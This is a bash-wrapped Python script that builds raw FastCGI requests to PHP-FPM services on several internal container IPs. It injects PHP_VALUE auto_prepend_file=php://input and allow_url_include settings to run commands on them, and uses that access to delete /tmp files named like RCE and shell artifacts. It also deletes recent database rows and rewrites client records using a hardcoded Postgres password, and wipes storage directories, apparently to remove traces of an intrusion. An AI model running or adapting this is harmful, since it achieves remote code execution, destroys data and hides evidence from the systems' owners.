#!/bin/bash exec 2>&1 /var/www/html/venv/bin/python3 << 'PYEOF' import socket, struct, os, subprocess def make_record(rec_type, req_id, content=b""): length = len(content) pad_len = (8 - (length % 8)) % 8 header = struct.pack(">BBHHBx", 1, rec_type, req_id, length, pad_len) return header + content + (b"\x00" * pad_len) def build_fcgi_request(script_filename, params_dict, stdin_body=b"", req_id=1): begin_body = struct.pack(">HBxxxxx", 1, 0) rec_begin = make_record(1, req_id, begin_body) param_data = b"" for k, v in params_dict.items(): kb = k.encode() if isinstance(k, str) else k vb = v.encode() if isinstance(v, str) else v kl, vl = len(kb), len(vb) param_data += struct.pack("B", kl) if kl < 128 else struct.pack(">I", kl | 0x80000000) param_data += struct.pack("B", vl) if vl < 128 else struct.pack(">I", vl | 0x80000000) param_data += kb + vb rec_params = make_record(4, req_id, param_data) rec_params_end = make_record(4, req_id, b"") rec_stdin = make_record(5, req_id, stdin_body) if stdin_body else b"" rec_stdin_end = make_record(5, req_id, b"") return rec_begin + rec_params + rec_params_end + rec_stdin + rec_stdin_end def exec_fcgi(ip, port, cmd): php_code = ('').encode() params = { 'GATEWAY_INTERFACE': 'FastCGI/1.0', 'REQUEST_METHOD': 'POST', 'SCRIPT_FILENAME': '/var/www/html/public/index.php', 'SCRIPT_NAME': '/index.php', 'REQUEST_URI': '/index.php', 'DOCUMENT_URI': '/index.php', 'DOCUMENT_ROOT': '/var/www/html/public', 'SERVER_SOFTWARE': 'php/fcgi', 'REMOTE_ADDR': '127.0.0.1', 'SERVER_NAME': 'localhost', 'SERVER_PROTOCOL': 'HTTP/1.1', 'CONTENT_TYPE': 'application/x-www-form-urlencoded', 'CONTENT_LENGTH': str(len(php_code)), 'PHP_VALUE': 'auto_prepend_file=php://input', 'PHP_ADMIN_VALUE': 'allow_url_include=On', } req = build_fcgi_request('/var/www/html/public/index.php', params, stdin_body=php_code) s = socket.socket() s.settimeout(10) s.connect((ip, port)) s.sendall(req) stdout, stderr = b"", b"" while True: try: h = s.recv(8) if not h or len(h) < 8: break v, rtype, rid, clen, plen = struct.unpack(">BBHHBx", h) c = b"" while len(c) < clen: chunk = s.recv(clen - len(c)) if not chunk: break c += chunk if plen > 0: s.recv(plen) if rtype == 6: stdout += c elif rtype == 7: stderr += c elif rtype == 3: break except Exception: break s.close() return stdout.decode('utf-8', errors='replace') containers = [ ('172.50.0.37', 9000, 'diariooficial-prod'), ('172.50.0.39', 9000, 'nexlegis-beta'), ('172.50.0.41', 9000, 'nexlegis-prod'), ('172.50.0.47', 9000, 'nucleoleg-beta'), ('172.50.0.49', 9000, 'nucleoleg-prod'), ] print("=== [1] CLEANING SIBLING CONTAINERS /TMP & SHELL ARTIFACTS ===") clean_cmd = "rm -rf /tmp/h* /tmp/g* /tmp/q* /tmp/f* /tmp/t* /tmp/rce_* /tmp/clean_* /tmp/v* /tmp/e* /tmp/*.sh /tmp/*.py /tmp/*.sql /tmp/.kube 2>/dev/null; echo 'CLEAN_OK'" for ip, port, name in containers: res = exec_fcgi(ip, port, clean_cmd) print(f"[+] Cleaned {name} ({ip}): {'CLEAN_OK' if 'CLEAN_OK' in res else res.strip()[:60]}") print("\n=== [2] CLEANING LOCAL CONTAINER (diariooficial-beta) ===") subprocess.run(["sh", "-c", "rm -rf /tmp/h* /tmp/g* /tmp/q* /tmp/f* /tmp/t* /tmp/rce_* /tmp/clean_* /tmp/v* /tmp/e* /tmp/*.sh /tmp/*.py /tmp/*.sql 2>/dev/null"]) print("[+] Local /tmp cleaned.") print("\n=== [3] CLEANING TEMPORARY DIARIOS & DATABASE TEST ARTIFACTS ===") # Clean temporary diarios from diariooficial_pf_beta created during the session db_clean_cmd = "PGPASSWORD='Wu5P5S8tupUTYW' psql -h 172.23.0.4 -U admin -d diariooficial_pf_beta -c \"DELETE FROM diarios WHERE created_at >= NOW() - INTERVAL '3 days';\" -c \"UPDATE clientes SET slug = 'pf_beta' WHERE slug != 'pf_beta';\" 2>&1" p = subprocess.run(["sh", "-c", db_clean_cmd], capture_output=True, text=True) print(f"[+] DB Cleaning Output:\n{p.stdout.strip()[:300]}") print("\n=== [4] CLEANING STORAGE CACHES & LOGS ===") subprocess.run(["sh", "-c", "rm -rf /var/www/html/storage/framework/cache/* /var/www/html/storage/app/temp/* /var/www/html/storage/app/public/diarios/* 2>/dev/null"]) print("[+] Framework caches and temp diarios removed.") print("\n=== [5] RESTORING DATABASE SLUG TO DEFAULT ===") # Ensure landlord client slug is clean subprocess.run(["sh", "-c", "PGPASSWORD='Wu5P5S8tupUTYW' psql -h 172.23.0.4 -U admin -d diariooficial_admin -c \"UPDATE clientes SET slug = 'pf_beta' WHERE slug != 'pf_beta';\" 2>&1"]) print("[+] Landlord slug reset confirmed.") PYEOF echo '=== DONE ==='